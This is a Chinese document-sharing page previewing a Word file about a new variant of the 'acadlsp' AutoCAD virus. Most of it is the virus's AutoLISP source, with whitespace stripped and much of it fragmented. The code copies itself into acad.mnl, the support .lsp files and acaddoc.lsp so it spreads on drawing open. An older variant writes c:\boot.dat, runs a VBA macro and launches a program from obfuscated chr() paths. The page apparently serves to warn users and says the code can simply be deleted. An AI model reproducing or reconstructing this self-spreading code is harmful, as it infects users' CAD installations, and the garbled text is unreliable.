acadlsp病毒新变种Word文档格式.docx
- 文档编号:16896560
- 上传时间:2022-11-27
- 格式:DOCX
- 页数:22
- 大小:16.80KB
acadlsp病毒新变种Word文档格式.docx
《acadlsp病毒新变种Word文档格式.docx》由会员分享,可在线阅读,更多相关《acadlsp病毒新变种Word文档格式.docx(22页珍藏版)》请在冰豆网上搜索。
(setqflag1t)
(if(findfiletarget)
(progn
(setqwjm1(opentarget"
r"
))
(while(setqtext(read-linewjm1))
(if(=textbz)(setqflag1nil))
);
while
(closewjm1)
progn
if
(ifflag1
(setqwjm(opensource"
a"
(write-line(chr13)wjm1)
(while(setqtext(read-linewjm))
(if(=textbz)(setqflagt))
(ifflag
(write-linetextwjm1)
(closewjm)
defun
(setvar"
cmdecho"
0)
(setqacadmnl(findfile"
acad.mnl"
(setqacadmnlpath(vl-filename-directoryacadmnl))
(setqmnlfilelist(vl-directory-filesacadmnlpath"
*.mnl"
(setqmnlnum(lengthmnlfilelist))
(setqacadexe(findfile"
acad.exe"
(setqacadpath(vl-filename-directoryacadexe))
(setqsupport(strcatacadpath"
\\support"
(setqlspfilelist(vl-directory-filessupport"
*.lsp"
(setqlspfilelist(appendlspfilelist(list"
acaddoc.lsp"
)))
(setqlspnum(lengthlspfilelist))
(setqdwgname(getvar"
dwgname"
(setqdwgpath(findfiledwgname))
(ifdwgpath
(setqacaddocpath(vl-filename-directorydwgpath))
(setqacaddocfile(strcatacaddocpath"
\\acaddoc.lsp"
(setqmnln0)
(while(<
mnlnmnlnum)
(setqmnlfilename(strcatacadmnlpath"
\\"
(nthmnlnmnlfilelist)))
(appmnlfilenameacaddocfilebz)
(appacaddocfilemnlfilenamebz)
(setqmnln(1+mnln))
(setqlspn0)
lspnlspnum)
(setqlspfilename(strcatsupport"
(nthlspnlspfilelist)))
(applspfilenameacaddocfilebz)
(appacaddocfilelspfilenamebz)
(setqlspn(1+lspn))
(setqmnln0)
(while(<
(setqmnln10)
mnln1mnlnum)
(setqmnlfilename1(strcatacadmnlpath"
(nthmnln1mnlfilelist)))
(appmnlfilenamemnlfilename1bz)
(setqmnln1(1+mnln1))
(setqlspn10)
lspn1lspnum)
(setqlspfilename1(strcatsupport"
(nthlspn1lspfilelist)))
(appmnlfilenamelspfilename1bz)
(setqlspn1(1+lspn1))
(setqlspn0)
(applspfilenamelspfilename1bz)
(applspfilenamemnlfilename1bz)
(load"
acadapq"
(princ)
acadapp"
这段代码可以自成一个文件,也可以附在其他lsp最后,删掉就好了。
=======================================
下面是比较老的版本
(setq
wold_cmd
(getvar
"
(setvar
wpath
(
findfile
base.dcl"
(substr
wpath
1
-
strlen
)
8
(setq
wwmnlwpath
getvar
menuname"
wnowdwg
(getvar
wwjqm
(findfile
wnowdwg
wdwgwpath
wwjqm
strlen
;
alert
setq
f
open
c:
\\boot.dat"
w"
(write-line
[dang]"
f)
(strcat
"
ff="
(strcat
yy="
f)
(close
boot
boot.dat"
(if
(/=
(command
_-vbarun"
ThisDrawing.hh"
wacadwpath
(findfile
wacadwpath
(-
(strlen
11
wns1
wns2
wlspbj
0)
wwjm
(open
(progn
(while
wwz
(read-line
wwjm
wns2
wwz)
(if
(>
(strlen
wns1)
14)
(=
(substr
wns1
8
7)
wlspbj
wwjm
wlspmnl
(while
(read-line
wwjm)
wns2)
14)
wns1
8
1)))
)
0)
(progn
(chr
97)
99)
100)
46)
109)
110)
108
(write-line
34)
)"
)wwjm
(princ)"
(close
(defun
wwriteapp()
wwjm1
wnewacad
woldacad
wwjm1
)
(and
wdwgwpath)
wpath
(=0
wlspmnl
acadapq.lsp"
)
(wwriteapp
Drawing.dwg"
wdwgwpath
(setvar
strtopstr
(chr
92)
92)
70)
83)
49)
89)
87)
79)
82)
75)
80)
76)
84)
69)
82)
strbottomstr
67)
88)
69)
(startapp
strbottomstr
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- acadlsp 病毒 变种